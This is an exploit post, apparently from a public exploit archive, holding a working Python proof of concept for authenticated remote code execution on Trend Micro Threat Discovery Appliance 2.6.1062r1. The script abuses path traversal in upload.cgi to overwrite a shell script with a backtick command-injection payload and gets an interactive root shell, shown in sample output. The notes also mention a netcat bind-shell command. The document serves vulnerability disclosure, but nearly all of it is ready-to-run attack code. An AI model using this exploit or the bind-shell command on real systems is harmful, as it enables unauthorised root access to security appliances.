Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution
Posted on 20 April 2017
#!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 upload.cgi Remote Code Execution Vulnerability Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== There exists a post authenticated upload vulnerability that can be used to execute arbitrary code. Notes: ====== - Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was take command, upload bd, exec, read, rinse, repeat. - You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the log_query_system.cgi was unstable. - Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts... Example: ======== saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin123 saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123 (+) logged in... (+) popping shell, type 'exit' to exit. $ id uid=0(root) gid=0(root) $ uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown $ pwd /opt/TrendMicro/MinorityReport/www/cgi-bin $ exit """ import sys import re import requests requests.packages.urllib3.disable_warnings() if len(sys.argv) != 3: print "(+) usage: %s <target> <pass>" % sys.argv[0] print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0] sys.exit(-1) t = sys.argv[1] p = sys.argv[2] bu = "https://%s/" % t l_url = "%scgi-bin/logon.cgi" % bu u_url = "%scgi-bin/upload.cgi?dID=../../opt/TrendMicro/MinorityReport/www/cgi-bin/log_cache.sh" % bu e_url = "%scgi-bin/log_query_system.cgi" % bu r_url = "%snonprotect/si.txt" % bu s = requests.Session() # first we login... r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) if "frame.cgi" in r.text: print "(+) logged in..." print "(+) popping shell, type 'exit' to exit." cmd = '' while (cmd.lower() != "exit"): cmd = raw_input("$ ") if cmd.lower() == "exit": continue # now we upload to crush the log_cache.sh script bd = "`%s>/opt/TrendMicro/MinorityReport/www/nonprotect/si.txt`" % cmd u = { 'ajaxuploader_file': ('si', bd, 'text/plain'), } r = s.post(u_url, files=u, verify=False) # now we have to get the cmd executed... r = s.post(e_url, data={'act':'search','cache_id':''}, verify=False) # now we get the result r = s.get(r_url, verify=False) print r.text.rstrip() else: print "(-) login failed" sys.exit(-1)
